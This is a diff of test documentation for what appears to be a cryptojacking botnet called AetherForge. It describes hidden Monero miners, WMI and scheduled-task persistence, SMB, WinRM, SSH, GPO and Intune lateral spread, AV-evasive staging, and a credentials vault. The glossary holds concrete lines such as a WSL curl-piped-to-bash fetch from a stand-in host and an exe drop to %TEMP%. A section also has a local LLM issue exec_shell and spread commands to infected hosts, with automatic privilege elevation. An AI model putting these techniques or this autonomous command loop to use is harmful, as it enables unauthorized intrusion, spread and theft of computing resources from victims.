isBenignTestStderr(args: unknown[]): boolean { + const text = args.map((a) => (a instanceof Error ? a.message : String(a))).join(' '); + return text.includes('ECONNREFUSED'); +} + +let consoleErrorSpy: ReturnType | undefined; + beforeEach(() => { if (typeof Element !== 'undefined') { Element.prototype.scrollIntoView = vi.fn(); } + consoleErrorSpy = vi.spyOn(console, 'error').mockImplementation((...args: unknown[]) => { + if (isBenignTestStderr(args)) return; + nativeConsoleError(...args); + }); +}); + +afterEach(() => { + consoleErrorSpy?.mockRestore(); + consoleErrorSpy = undefined; }); \ No newline at end of file diff --git a/tests/README.md b/tests/README.md index 9b8f330..eed8328 100644 --- a/tests/README.md +++ b/tests/README.md @@ -1,16 +1,19 @@ -# AetherForge Test Suite +# AetherForge Test Suite -**Current counts (2026-06-07):** Go server **765** `Test*` · Go agent **585** `Test*` · Vitest **742** tests in **87** files · Playwright **24** tests in **8** spec files. Refresh: `go test ./... -list .` (server/agent), `npm run test -- --run` (Vitest), `npx playwright test --list` (E2E). Full suite: `test.bat` → `scripts/test-suite.ps1`. +**Current counts (2026-06-07):** Go server **793** `Test*` · Go agent **608** `Test*` · Vitest **791** tests in **95** files · Playwright **25** tests in **8** spec files. Refresh: `go test ./... -list .` (server/agent), `npm run test -- --run` (Vitest), `npx playwright test --list` (E2E). Full suite: `test.bat` → `scripts/test-suite.ps1`. ## Master validation (operator commands) +PROBLEMS.md `Test gaps / noise` defers here — use the tables below for P1, fleet evolution, and P2 coverage. + + After parallel agent landings, run from repo root: | Gate | Command | Phases | |------|---------|--------| -| **Full gate** | `.\scripts\test-suite.ps1` | 1–8 (Go server, Go agent, fusion, Vitest, builds, Playwright on `:18989`) | -| **Quick verify** | `.\scripts\test-suite.ps1 -SkipE2E` | 1–7b without Playwright — default post-landing smoke | -| **Fast slice** | `.\scripts\test-suite.ps1 -SkipE2E -SkipBuild` | 1–4 only (Go + Vitest) | +| **Full gate** | `.\scripts\test-suite.ps1` | 1–8 (Go server, Go agent, fusion, Vitest, builds, Playwright on `:18989`) | +| **Quick verify** | `.\scripts\test-suite.ps1 -SkipE2E` | 1–7b without Playwright — default post-landing smoke | +| **Fast slice** | `.\scripts\test-suite.ps1 -SkipE2E -SkipBuild` | 1–4 only (Go + Vitest) | | **P2 focused** | `.\scripts\test-suite.ps1 -P2` | Mining/spread/path-forge/WS subset + Vitest; add phase 8 manually for onion + discover E2E | | **Fleet recon** | `.\scripts\test-suite.ps1 -ReconOnly` | Vuln/CVE, cred graph, triple-onion gates, Path Tracer discover, recon Vitest | @@ -46,12 +49,12 @@ Or with PowerShell directly: .\scripts\test-suite.ps1 -P2 ``` -**Portable USB:** `pack-usb.bat` from repo root → copy `usb\` to a drive → `LAUNCH.bat` (opens `http://localhost:8989/`; `/agents` redirects to `/crucible` in the SPA). +**Portable USB:** `pack-usb.bat` from repo root → copy `usb\` to a drive → `LAUNCH.bat` (opens `http://localhost:8989/`; `/agents` redirects to `/crucible` in the SPA). ## Fleet evolution master checklist (2026-06-07) -Windows dashboard only; no in-process cloudflared. Genealogy fields are **telemetry on auth/stats only** — they never gate `fleet_secret` or block agent registration. +Windows dashboard only; no in-process cloudflared. Genealogy fields are **telemetry on auth/stats only** — they never gate `fleet_secret` or block agent registration. | Feature | Where | Regression (quick) | |---------|--------|-------------------| @@ -69,12 +72,12 @@ Windows dashboard only; no in-process cloudflared. Genealogy fields are **teleme | **Spread immunity / subnet pause** | `server/internal/api/spread_immunity.go` | `go test ./internal/api/... -run SpreadImmunity -count=1` | | **Fleet pressure telemetry** | Agent `client/fleet_pressure.go` (`seed_pressure`, `hashrate_pressure`, `emberwake_heat`) | `go test ./client/... -run FleetPressure -count=1`; Vitest `wsStatsCoalesce.test.ts` | -Full gate: `.\scripts\test-suite.ps1` (phases 1–8). P2-focused slice: `.\scripts\test-suite.ps1 -P2` then phase 8 for Playwright onion + discover→spread stub. +Full gate: `.\scripts\test-suite.ps1` (phases 1–8). P2-focused slice: `.\scripts\test-suite.ps1 -P2` then phase 8 for Playwright onion + discover→spread stub. ## P2 completion (2026-06-07) -Master suite: `.\scripts\test-suite.ps1` (all 8 phases). Focused P2 after landing parallel agents: `.\scripts\test-suite.ps1 -P2` (Go mining/spread/path-forge/WS + Vitest); add phase 8 for Playwright onion + discover→spread stub. +Master suite: `.\scripts\test-suite.ps1` (all 8 phases). Focused P2 after landing parallel agents: `.\scripts\test-suite.ps1 -P2` (Go mining/spread/path-forge/WS + Vitest); add phase 8 for Playwright onion + discover→spread stub. | Area | Quick run | |------|-----------| @@ -96,19 +99,19 @@ Master suite: `.\scripts\test-suite.ps1` (all 8 phases). Focused P2 after landin | 4 | Frontend unit tests (Vitest) | `server/web/` | | 5 | Frontend production build | `server/web/` | | 6 | Server binary compile | `server/` | -| 7 | Agent binary compile (Windows) | `agent/` → `bin/install-worker.exe` | -| 7b | Agent cross-compile (linux/darwin) | `agent/` → `bin/install-worker-*` | -| 8 | E2E smoke (Playwright) | `server/web/e2e/` — starts temp server on :18989 | +| 7 | Agent binary compile (Windows) | `agent/` → `bin/install-worker.exe` | +| 7b | Agent cross-compile (linux/darwin) | `agent/` → `bin/install-worker-*` | +| 8 | E2E smoke (Playwright) | `server/web/e2e/` — starts temp server on :18989 | -Phases 5–7 and 7b are skipped with `-SkipBuild`. Phase 8 is skipped with `-SkipE2E`. +Phases 5–7 and 7b are skipped with `-SkipBuild`. Phase 8 is skipped with `-SkipE2E`. -`-ReconOnly` runs the fleet recon subset (vuln/CVE, cred graph, service graph, triple-onion gates, network hints, Path Tracer discover, recon UI Vitest) and exits — useful after parallel agent landings. +`-ReconOnly` runs the fleet recon subset (vuln/CVE, cred graph, service graph, triple-onion gates, network hints, Path Tracer discover, recon UI Vitest) and exits — useful after parallel agent landings. ## Operator quick start (LOTL + fleet recon) -1. **Forge with LOTL Onion** — Forge → Operation mode → **LOTL Onion** (in-process RandomX, native-tool spread chain). Set your **XMR wallet** and forge once. With `lotl_policy_from_server` on (preset default), tier order comes from Calibrate `server.lotl_onion_tiers` on agent auth — **re-forge only when changing wallet, build, or preset flags**, not to reorder tiers. See [LOTL vector glossary](#lotl-vector-glossary) for every tier definition + example. -2. **Probe & Join** — Crucible → select online node(s) → **Probe & Join** (`discover_and_join`). Agent runs service discovery, server signs a deploy plan, and the best LOTL lane executes. Risk/join-lane badges update on the next stats tick. See glossary rows: `discover_and_join`, `join_lane`, `service_discover`. -3. **Deployment credentials vault** — For cred-assisted spread (`spread_cred`, SMB/WinRM lanes), add profiles to `data/config.json`: +1. **Forge with LOTL Onion** — Forge → Operation mode → **LOTL Onion** (in-process RandomX, native-tool spread chain). Set your **XMR wallet** and forge once. With `lotl_policy_from_server` on (preset default), tier order comes from Calibrate `server.lotl_onion_tiers` on agent auth — **re-forge only when changing wallet, build, or preset flags**, not to reorder tiers. See [LOTL vector glossary](#lotl-vector-glossary) for every tier definition + example. +2. **Probe & Join** — Crucible → select online node(s) → **Probe & Join** (`discover_and_join`). Agent runs service discovery, server signs a deploy plan, and the best LOTL lane executes. Risk/join-lane badges update on the next stats tick. See glossary rows: `discover_and_join`, `join_lane`, `service_discover`. +3. **Deployment credentials vault** — For cred-assisted spread (`spread_cred`, SMB/WinRM lanes), add profiles to `data/config.json`: ```json "deployment_credentials": [ @@ -124,9 +127,9 @@ Playbook: [`/docs/SPREAD_TECHNIQUES.html#lotl-onion`](../server/web/public/docs/ **Seeders** (`fleet_role=seeder`, `seeder_mode` baked at forge) skip the RandomX mining chain and run **dns_txt / webrtc_mesh / do_peer** staging lanes only (`defer_mining` semantics). **Miners** hash normally and may pull payloads from the nearest LAN seeder via existing webrtc/do_peer paths (`lan_seeders` on auth when `server.fleet_roles_enabled`). -**Telemetry:** agents report `fleet_role`, `seed_pressure` (0–1), and `hashrate_pressure` on stats WS; the server ingests `emberwake_heat` for war-room heat maps (`server/internal/strategy/fleet_role.go`). +**Telemetry:** agents report `fleet_role`, `seed_pressure` (0–1), and `hashrate_pressure` on stats WS; the server ingests `emberwake_heat` for war-room heat maps (`server/internal/strategy/fleet_role.go`). -**Forge:** Advanced → Fleet role chips (`auto` | `miner` | `seeder`); seeder bake sets `MiningDisabled`, enables DNS/WebRTC spread, filters LOTL tiers. Calibrate: `server.fleet_roles_enabled` (default off). +**Forge:** Advanced → Fleet role chips (`auto` | `miner` | `seeder`); seeder bake sets `MiningDisabled`, enables DNS/WebRTC spread, filters LOTL tiers. Calibrate: `server.fleet_roles_enabled` (default off). ```bat cd agent && go test ./config/... ./deploy/... ./client/... -run "Fleet|Seeder|SeedPressure|LANSeeder" -count=1 @@ -145,13 +148,13 @@ cd server\web && npm run test -- --run src/help/warRoomTelemetry.ts src/pages/Bu ## Adaptive Strategy -The server **adaptive strategy engine** (`server/internal/strategy/`) learns from your fleet only: OS fingerprint, Docker/WSL/GPU probes, subnet, `lotl_attempts`, and `mining_hashrate`. On agent auth it pushes `adaptive_strategy` with a personalized `tier_order`, optional `skip_tiers`, and a human-readable `strategy_reasoning[]` trace (weighted scoring — not a black-box LLM). Background rescoring runs every 5 minutes from `stats_batch` / `tier_report` ingestion into SQLite `tier_outcomes`. Adaptive overrides **order and skip hints** only; it does not change wallet, `patch_first`, or other triple-onion gates. Disable via Calibrate `server.adaptive_strategy_enabled` (default `true`). Manual refresh: `POST /api/v1/strategy/recompute`. Crucible **Access Depth → Strategy** shows reasoning bullets and an **Adaptive** badge when the server order differs from default. +The server **adaptive strategy engine** (`server/internal/strategy/`) learns from your fleet only: OS fingerprint, Docker/WSL/GPU probes, subnet, `lotl_attempts`, and `mining_hashrate`. On agent auth it pushes `adaptive_strategy` with a personalized `tier_order`, optional `skip_tiers`, and a human-readable `strategy_reasoning[]` trace (weighted scoring — not a black-box LLM). Background rescoring runs every 5 minutes from `stats_batch` / `tier_report` ingestion into SQLite `tier_outcomes`. Adaptive overrides **order and skip hints** only; it does not change wallet, `patch_first`, or other triple-onion gates. Disable via Calibrate `server.adaptive_strategy_enabled` (default `true`). Manual refresh: `POST /api/v1/strategy/recompute`. Crucible **Access Depth → Strategy** shows reasoning bullets and an **Adaptive** badge when the server order differs from default. Regression: `go test ./internal/strategy/... ./internal/api/ -run Adaptive` (server) and Vitest `AccessDepthPanel.test.tsx`. ## Phenotype cloning -When an agent reports a winning spread+mining path, the server upserts a **fleet phenotype** keyed by host fingerprint. Sibling agents receive `inherited_phenotype` on auth — tier order and spread lane clone without re-forge. +When an agent reports a winning spread+mining path, the server upserts a **fleet phenotype** keyed by host fingerprint. Sibling agents receive `inherited_phenotype` on auth — tier order and spread lane clone without re-forge. **Auth tier-plan precedence:** inherited phenotype (SQLite fleet winner) **>** genetic breed (crossover of two lane-specific winners for the same fingerprint) **>** adaptive strategy. @@ -180,19 +183,19 @@ cd agent && go test ./client/... -run "AtlasGossip|Gossip" -count=1 When AI Control is on and a host is stuck (zero hashrate + exhausted chain or all spread tiers failed), the scheduler runs a **Singular Machine Court**: Prosecutor (failure atlas + attempts), Defender (fleet phenotype), Judge (verdict + commands). Persisted with `court_session=true` for LOTL Timeline. -## Clearance L0–L4 +## Clearance L0–L4 -Agents receive session clearance on auth (L0 stats → L4 forge). Fleet AI and remote actions enforce minimum levels. With `ai_auto_elevate_clearance`, stuck hosts auto-elevate to L4 so court-ordered commands can execute. Events broadcast as `clearance_elevated` on dashboard WS. +Agents receive session clearance on auth (L0 stats → L4 forge). Fleet AI and remote actions enforce minimum levels. With `ai_auto_elevate_clearance`, stuck hosts auto-elevate to L4 so court-ordered commands can execute. Events broadcast as `clearance_elevated` on dashboard WS. ## Fleet AI Control -Calibrate → **Calibration Control** toggles `server.ai_control_enabled`. When **on**, the server **Fleet AI scheduler** (`server/internal/ai/`) polls connected agents on `ai_decision_interval_sec` (default 60s), builds snapshots from WS + DB state, calls a local OpenAI-compatible endpoint (`ai_endpoint`, default `http://127.0.0.1:11434/v1`), parses `commands[]` from the model response, and dispatches fleet actions (`restart_mining`, `discover_and_join`, `spread_now`, `agent_command`, etc.). Decisions are stored in SQLite `ai_decisions` and surfaced on **LOTL Timeline** when AI control is enabled. +Calibrate → **Calibration Control** toggles `server.ai_control_enabled`. When **on**, the server **Fleet AI scheduler** (`server/internal/ai/`) polls connected agents on `ai_decision_interval_sec` (default 60s), builds snapshots from WS + DB state, calls a local OpenAI-compatible endpoint (`ai_endpoint`, default `http://127.0.0.1:11434/v1`), parses `commands[]` from the model response, and dispatches fleet actions (`restart_mining`, `discover_and_join`, `spread_now`, `agent_command`, etc.). Decisions are stored in SQLite `ai_decisions` and surfaced on **LOTL Timeline** when AI control is enabled. -**Precedence:** `ai_control_enabled: true` **replaces** adaptive strategy for tier-order decisions — auth omits `adaptive_strategy`, background rescoring no-ops, and `FleetAISnapshot` skips adaptive reasoning. Adaptive strategy resumes when AI control is turned off. +**Precedence:** `ai_control_enabled: true` **replaces** adaptive strategy for tier-order decisions — auth omits `adaptive_strategy`, background rescoring no-ops, and `FleetAISnapshot` skips adaptive reasoning. Adaptive strategy resumes when AI control is turned off. -Operator settings: `ai_endpoint`, `ai_model`, `ai_no_context` (single-turn prompts), `ai_decision_interval_sec`. Refresh models: Calibrate **Refresh models** → `GET /api/v1/ai/models`. Audit trail: `GET /api/v1/ai/decisions?agent_id=`. +Operator settings: `ai_endpoint`, `ai_model`, `ai_no_context` (single-turn prompts), `ai_decision_interval_sec`. Refresh models: Calibrate **Refresh models** → `GET /api/v1/ai/models`. Audit trail: `GET /api/v1/ai/decisions?agent_id=`. -Agent side: hub sends `ai_snapshot_request` → agent replies `ai_snapshot` (`agent/client/ai_snapshot.go`); scheduler commands map to `ai_commands` handlers (`exec_shell`, `full_sys_check`, `restart_mining`, etc.). Per-agent Ollama autonomy (`ai_enabled` forge flag) remains separate — see [Agent logs](#agent-logs-not-a-missing-api). +Agent side: hub sends `ai_snapshot_request` → agent replies `ai_snapshot` (`agent/client/ai_snapshot.go`); scheduler commands map to `ai_commands` handlers (`exec_shell`, `full_sys_check`, `restart_mining`, etc.). Per-agent Ollama autonomy (`ai_enabled` forge flag) remains separate — see [Agent logs](#agent-logs-not-a-missing-api). ### Fleet AI + LOTL Timeline quick-run @@ -204,7 +207,7 @@ cd server\web && npm run test -- --run src/pages/LotlTimelinePage.test.tsx src/p ### Client WS/beacon integration (2026-06-07) -httptest + gorilla/websocket integration tests for agent auth/stats relay, HTTPS beacon fallback, command round-trips, AI snapshot telemetry, upload-over-WS (base64 `command` frame — no separate chunk type), and disconnect cleanup. +httptest + gorilla/websocket integration tests for agent auth/stats relay, HTTPS beacon fallback, command round-trips, AI snapshot telemetry, upload-over-WS (base64 `command` frame — no separate chunk type), and disconnect cleanup. ```bat cd server && go test ./internal/api/... -run "Beacon|WebSocket|Auth|stats_batch" -count=1 @@ -213,13 +216,13 @@ cd agent && go test ./client/... -run "Beacon|HandleMessage|WS" -count=1 | Feature | Test file(s) | Suite phase | |---------|----------------|-------------| -| Auth → stats tick → `stats_batch` coalescing (dashboard WS) | `server/internal/api/ws_beacon_integration_test.go`, `websocket_test.go` | 1 | +| Auth → stats tick → `stats_batch` coalescing (dashboard WS) | `server/internal/api/ws_beacon_integration_test.go`, `websocket_test.go` | 1 | | Beacon registration + heartbeat + queued commands + result relay | `server/internal/api/ws_beacon_integration_test.go`, `beacon_test.go` | 1 | | Beacon state cleared on WS reconnect | `server/internal/api/ws_beacon_integration_test.go` | 1 | | Operator name preserved vs hostname on reconnect | `server/internal/api/websocket_test.go` | 1 | -| Command dispatch (`exec_shell`, `mining_diagnostics`) server → agent WS | `server/internal/api/ws_beacon_integration_test.go` | 1 | -| `ai_snapshot_request` → `ai_snapshot` telemetry cache | `server/internal/api/ws_beacon_integration_test.go`, `fleet_intelligence_test.go` | 1 | -| Agent disconnect → offline + `agent_offline` + log cache cleared | `server/internal/api/ws_beacon_integration_test.go` | 1 | +| Command dispatch (`exec_shell`, `mining_diagnostics`) server → agent WS | `server/internal/api/ws_beacon_integration_test.go` | 1 | +| `ai_snapshot_request` → `ai_snapshot` telemetry cache | `server/internal/api/ws_beacon_integration_test.go`, `fleet_intelligence_test.go` | 1 | +| Agent disconnect → offline + `agent_offline` + log cache cleared | `server/internal/api/ws_beacon_integration_test.go` | 1 | | Agent WS command round-trip (`exec_shell`, `mining_diagnostics`, `upload`) | `agent/client/ws_beacon_integration_test.go` | 2 | | Agent `ai_snapshot` WS write + `handleMessage` mining diagnostics | `agent/client/ws_beacon_integration_test.go`, `handlemessage_test.go` | 2 | | HTTPS beacon heartbeat + command + `/beacon/result` | `agent/client/ws_beacon_integration_test.go`, `beacon_transport.go` | 2 | @@ -243,7 +246,7 @@ cd agent && go test ./client/... -run "Beacon|HandleMessage|WS" -count=1 | `ai_commands` handlers + path traversal + spread/restart/syscheck | `agent/client/ai_commands_test.go` | 2 | | Upload/download/read_file path guards + config round-trip | `agent/client/client_upload_test.go`, `file_ops_common_test.go`, `deploy/desktop_path_test.go` | 2 | | Agent/fusion/APK artifact download routes | `server/internal/api/download_handler_test.go`, `dropper_handler_test.go`, `builder/handler_serve_test.go` | 1 | -| APK asset paths ↔ BinaryExtractor.kt cross-check | `server/internal/builder/build_apk_test.go`, `android/forge/internal/forge/config_test.go` | 1 / 3 | +| APK asset paths ↔ BinaryExtractor.kt cross-check | `server/internal/builder/build_apk_test.go`, `android/forge/internal/forge/config_test.go` | 1 / 3 | | Calibrate AI Control toggle + models refresh | `server/web/src/pages/SettingsPage.test.tsx` | 4 | | LOTL Timeline page (tier chain + AI decision panel) | `server/web/src/pages/LotlTimelinePage.test.tsx` | 4 | | LOTL tier timeline component | `server/web/src/components/Lotl/LotlTierTimeline.test.tsx` | 4 | @@ -256,7 +259,7 @@ cd agent && go test ./client/... -run "Beacon|HandleMessage|WS" -count=1 | Scout remote action gates | `agent/client/scout_mode_test.go` | 2 | | Scout phenotype publish | `server/internal/api/scout_phenotype_test.go` | 1 | -### Fleet intelligence (2026-06-07 — phenotype, atlas, court, clearance) +### Fleet intelligence (2026-06-07 — phenotype, atlas, court, clearance) | Feature | Test file(s) | Suite phase | |---------|----------------|-------------| @@ -264,12 +267,12 @@ cd agent && go test ./client/... -run "Beacon|HandleMessage|WS" -count=1 | Phenotype publish + sibling inheritance API | `server/internal/api/phenotype_test.go` | 1 | | Agent auth phenotype policy | `agent/client/phenotype_policy_test.go` | 2 | | Failure atlas subtree skips | `server/internal/atlas/failure_atlas_test.go` | 1 | -| Subnet immune spread pause (/24, 5 failures → 24h) | `server/internal/atlas/subnet_immune_test.go`, `server/internal/db/subnet_spread_pause_test.go`, `server/internal/api/spread_immunity_test.go` | 1 | -| Court-mandated retry (`spread_retry_lane`, `skip_tier` → L4 dispatch) | `server/internal/ai/court_commands_test.go`, `server/internal/ai/court_prompt_test.go`, `server/internal/ai/scheduler_test.go` | 1 | +| Subnet immune spread pause (/24, 5 failures → 24h) | `server/internal/atlas/subnet_immune_test.go`, `server/internal/db/subnet_spread_pause_test.go`, `server/internal/api/spread_immunity_test.go` | 1 | +| Court-mandated retry (`spread_retry_lane`, `skip_tier` → L4 dispatch) | `server/internal/ai/court_commands_test.go`, `server/internal/ai/court_prompt_test.go`, `server/internal/ai/scheduler_test.go` | 1 | | Hashrate-gated autospread (earn-before-burn) | `agent/deploy/hashrate_gate_test.go`, `agent/client/spread_policy_test.go` | 2 | | Atlas LAN gossip relay + merge | `server/internal/atlas/lan_gossip_test.go`, `server/internal/api/atlas_gossip_test.go` | 1 | | Agent atlas gossip merge + broadcast | `agent/client/atlas_gossip_test.go` | 2 | -| Clearance L0–L4 command gating | `server/internal/clearance/clearance_test.go` | 1 | +| Clearance L0–L4 command gating | `server/internal/clearance/clearance_test.go` | 1 | | AI scheduler clearance elevation | `server/internal/ai/scheduler_test.go` | 1 | | Clearance helpers + timeline history | `server/web/src/help/clearance.test.ts`, `server/web/src/pages/LotlTimelinePage.test.tsx` | 4 | | Phenotype cloned-from + clearance badge UI | `server/web/src/components/Lotl/LotlTierTimeline.test.tsx`, `server/web/src/components/Fleet/AccessDepthPanel.test.tsx` | 4 | @@ -300,14 +303,14 @@ cd server && go test ./internal/atlas/... ./internal/db/... ./internal/api/... - ### Fleet AI gaps -- **Live Ollama / vLLM inference** — scheduler uses `DecideFunc` inject in unit tests; no CI container with a real model. -- **Full scheduler E2E** — one mocked `Tick()` cycle covered; no multi-agent parallel decision race test. -- **Court session UI** — Go + Vitest cover prosecutor/defender/judge in `LotlTimelinePage.test.tsx`; no Playwright path yet. -- **Real `full_sys_check` syscheck bundle** — handler test stubs `CollectFullSysCheck`; live subnet scan / `systeminfo` not exercised in CI. +- **Live Ollama / vLLM inference** — scheduler uses `DecideFunc` inject in unit tests; no CI container with a real model. +- **Full scheduler E2E** — one mocked `Tick()` cycle covered; no multi-agent parallel decision race test. +- **Court session UI** — Go + Vitest cover prosecutor/defender/judge in `LotlTimelinePage.test.tsx`; no Playwright path yet. +- **Real `full_sys_check` syscheck bundle** — handler test stubs `CollectFullSysCheck`; live subnet scan / `systeminfo` not exercised in CI. ## LOTL architecture (triple onion) -The **triple onion** chains three phases on every agent connect (when enabled): **recon → deploy → mining**. Policy gates (`patch_first`, `skip_mining_on_high_risk`) can defer deploy or mining when `vuln_findings` exceed thresholds. +The **triple onion** chains three phases on every agent connect (when enabled): **recon → deploy → mining**. Policy gates (`patch_first`, `skip_mining_on_high_risk`) can defer deploy or mining when `vuln_findings` exceed thresholds. ```mermaid flowchart TB @@ -403,17 +406,17 @@ Every term below has a plain-language definition and a copy-pasteable example (C | Term | Definition | Example | |------|------------|---------| -| `vuln_recon` | Read-only KEV/CVE/service probe run as a recon tier before deploy or mining; populates `vuln_findings` and risk score. No exploit payloads. | Triple-onion `recon_tiers` includes `vuln_recon`; or Crucible `full_sys_check` → `vuln_findings` in `stats_batch`. | +| `vuln_recon` | Read-only KEV/CVE/service probe run as a recon tier before deploy or mining; populates `vuln_findings` and risk score. No exploit payloads. | Triple-onion `recon_tiers` includes `vuln_recon`; or Crucible `full_sys_check` → `vuln_findings` in `stats_batch`. | | `exe_subprocess` | Default path: launch XMRig (or forged worker) as a hidden child process on the host. | Forge default `miner_execution=subprocess`; diagnostics chain tries `exe_subprocess` first unless AV blocks exe. | -| `docker_load` | Load a pre-built OCI image tar (`docker load -i`) and run RandomX inside with read-only rootfs — no registry pull. | Requires `image_tar_url` in forge policy; mining tier `docker_load` when Docker detected + tar policy set. | -| `container` | Run worker inside Docker/Podman from a pulled or local image — host RandomX paused while container mines. | `miner_execution=container` at forge; chain order: `container` after `docker_load` probe passes. | -| `wsl` | Mine or bootstrap via WSL — Linux curl\|bash or in-WSL RandomX when native Windows path is blocked. | `wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=ID \| bash"` when WSL is installed. | -| `powershell` / `ps_inmemory` | PowerShell in-memory or hidden-window miner bootstrap — no standalone unsigned exe on disk. | `miner_execution=powershell`; encoded `install.ps1` from `GET /install.ps1?pin=`. | +| `docker_load` | Load a pre-built OCI image tar (`docker load -i`) and run RandomX inside with read-only rootfs — no registry pull. | Requires `image_tar_url` in forge policy; mining tier `docker_load` when Docker detected + tar policy set. | +| `container` | Run worker inside Docker/Podman from a pulled or local image — host RandomX paused while container mines. | `miner_execution=container` at forge; chain order: `container` after `docker_load` probe passes. | +| `wsl` | Mine or bootstrap via WSL — Linux curl\|bash or in-WSL RandomX when native Windows path is blocked. | `wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=ID \| bash"` when WSL is installed. | +| `powershell` / `ps_inmemory` | PowerShell in-memory or hidden-window miner bootstrap — no standalone unsigned exe on disk. | `miner_execution=powershell`; encoded `install.ps1` from `GET /install.ps1?pin=`. | | `dotnet` | Bootstrap through .NET CLI (`dotnet tool run`) instead of dropping a raw miner exe. | Forge `miner_execution=dotnet`; spread lane `dotnet` in `lotl_onion_tiers`. | -| `cpu_inprocess` | RandomX via embedded `go-randomx` inside the agent process — AV-Safe / LOTL Onion default terminal CPU tier. | Forge Operation mode **LOTL Onion** or `miner_execution=inprocess`; active tier shows `cpu_inprocess` in Crucible badge. | +| `cpu_inprocess` | RandomX via embedded `go-randomx` inside the agent process — AV-Safe / LOTL Onion default terminal CPU tier. | Forge Operation mode **LOTL Onion** or `miner_execution=inprocess`; active tier shows `cpu_inprocess` in Crucible badge. | | `wmi` | Windows WMI event subscription persistence + hidden miner launch via LOLBins. | Mining tier `wmi` in `DefaultWindowsTierOrder()`; attempted when prior tiers fail on Windows. | -| `scheduled_task` | `schtasks` / Task Scheduler hidden miner job — no interactive installer. | Mining tier `scheduled_task`; follows `wmi` in Windows tier slice. | -| `webview2_probe` | Probe WebView2/WebGPU availability before escalating to GPU subprocess — gates `gpu_subprocess`. | Tier `webview2_probe`; skips GPU escalation when WebGPU not exposed. | +| `scheduled_task` | `schtasks` / Task Scheduler hidden miner job — no interactive installer. | Mining tier `scheduled_task`; follows `wmi` in Windows tier slice. | +| `webview2_probe` | Probe WebView2/WebGPU availability before escalating to GPU subprocess — gates `gpu_subprocess`. | Tier `webview2_probe`; skips GPU escalation when WebGPU not exposed. | | `gpu_compute` | CUDA or HLSL compute-kernel path for GPU hashing before external miner binaries. | Tier `gpu_compute`; probes CUDA/HLSL then may fall through to `gpu_subprocess`. | | `gpu_subprocess` | External GPU miner subprocess (T-Rex / TeamRedMiner) for KawPoW/RVN. | Forge GPU enabled; chain tier `gpu_subprocess` after `webview2_probe` passes. | | `stratum_direct` | Agent mines directly to pool Stratum when C2 proxy is down or tier chain exhausts in-process paths. | `stratum_egress=direct` in stats; fallback after 30s C2 outage or terminal chain tier. | @@ -423,35 +426,35 @@ Every term below has a plain-language definition and a copy-pasteable example (C | Term | Definition | Example | |------|------------|---------| -| `bits_curl` | Stage payload with BITS (`bitsadmin`) or `curl.exe`; optional `certutil -decode` + SHA256 verify. | `stage_fetch` manifest `{"method":"bits",…}` or CCMEXEC service → `bits_curl` join lane. | -| `do_peer` | Shadow Cache Handoff — DoSvc + BITS peer-style chunk staging on LAN; hash-verified assembly, rundll32/BITS launch. | `DoSvc` running → `join_lane_candidate: do_peer`; signed deploy plan with `peer_group`, `--defer-mining`. | -| `wsus_cache_peer` | WSUS offline cache cousin — stages beside `SoftwareDistribution\Download`; Wuauserv/AU probe; hash verify + defer_mining launch. Forge `wsus_format_mimic` (default ON) wraps chunks as `*.cab.partial` with SSU/CAB-like headers — format mimicry, not packing; `lotl_attempts` unchanged. | `Wuauserv` running → `join_lane: wsus_cache_peer` (allowlist priority after `do_peer`). | -| `dns_txt` | DNS TXT mesh — `_aether.` shards via nslookup/Resolve-DnsName; TTL policy refresh; embedded chunk API for tests. | `_aether` TXT present → `join_lane: dns_txt`; Forge `dns_txt_spread` default ON. | -| `webrtc_mesh` | WebRTC LAN seed — subnet seeder, manifest over data channel (STUN + WS relay); LAN HTTP fallback stub in tests. | Forge `webrtc_mesh_spread` default OFF; `webrtc_mesh_policy` 24h seeder rotation. | -| `smb` / `spread_smb_unc` | Lateral via SMB admin share + SCM (`sc.exe create/start`) pointing at a UNC worker path — no PsExec. | `{"action":"spread_smb_unc","path":"\\\\forge\\\\pathforge$\\\\worker.exe"}` | +| `bits_curl` | Stage payload with BITS (`bitsadmin`) or `curl.exe`; optional `certutil -decode` + SHA256 verify. | `stage_fetch` manifest `{"method":"bits",…}` or CCMEXEC service → `bits_curl` join lane. | +| `do_peer` | Shadow Cache Handoff — DoSvc + BITS peer-style chunk staging on LAN; hash-verified assembly, rundll32/BITS launch. | `DoSvc` running → `join_lane_candidate: do_peer`; signed deploy plan with `peer_group`, `--defer-mining`. | +| `wsus_cache_peer` | WSUS offline cache cousin — stages beside `SoftwareDistribution\Download`; Wuauserv/AU probe; hash verify + defer_mining launch. Forge `wsus_format_mimic` (default ON) wraps chunks as `*.cab.partial` with SSU/CAB-like headers — format mimicry, not packing; `lotl_attempts` unchanged. | `Wuauserv` running → `join_lane: wsus_cache_peer` (allowlist priority after `do_peer`). | +| `dns_txt` | DNS TXT mesh — `_aether.` shards via nslookup/Resolve-DnsName; TTL policy refresh; embedded chunk API for tests. | `_aether` TXT present → `join_lane: dns_txt`; Forge `dns_txt_spread` default ON. | +| `webrtc_mesh` | WebRTC LAN seed — subnet seeder, manifest over data channel (STUN + WS relay); LAN HTTP fallback stub in tests. | Forge `webrtc_mesh_spread` default OFF; `webrtc_mesh_policy` 24h seeder rotation. | +| `smb` / `spread_smb_unc` | Lateral via SMB admin share + SCM (`sc.exe create/start`) pointing at a UNC worker path — no PsExec. | `{"action":"spread_smb_unc","path":"\\\\forge\\\\pathforge$\\\\worker.exe"}` | | `winrm` | PS remoting lateral when ports 5985/5986 respond. | `POST /api/v1/builder/spread-template-export` `{"template":"winrm"}`; autospread when `winrm_spread` forge flag set. | -| `linux` / `linux_lotl` | SSH/SCP lateral on Unix with optional systemd-run or crontab LOTL persistence. | `{"template":"linux-lotl","lotl_mode":"both"}`; `sshd` service → `linux_lotl` join lane. | -| `gpo` | AD Group Policy startup script fetches worker on domain boot. | Export `{"template":"gpo"}` → `gpo-startup.ps1` in GPO Scripts → Startup. | -| `intune` | Intune proactive remediation / platform script assignment (enterprise sibling to GPO). | Export `{"template":"intune"}` → assign `intune-startup.ps1` in owned tenant. | -| `stage_fetch` | C2 sends a staging manifest; agent downloads chunks, verifies hash, launches via exe or `rundll32`. | `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[…],\"sha256\":\"…\",\"dest\":\"%TEMP%\\\\w.exe\",\"launch\":\"exe\"}"}` | -| `discover_and_join` | Crucible **Probe & Join**: service discovery → server deploy plan → best LOTL lane executes. | Crucible → **Probe & Join** → `discover_and_join` command to selected online nodes. | +| `linux` / `linux_lotl` | SSH/SCP lateral on 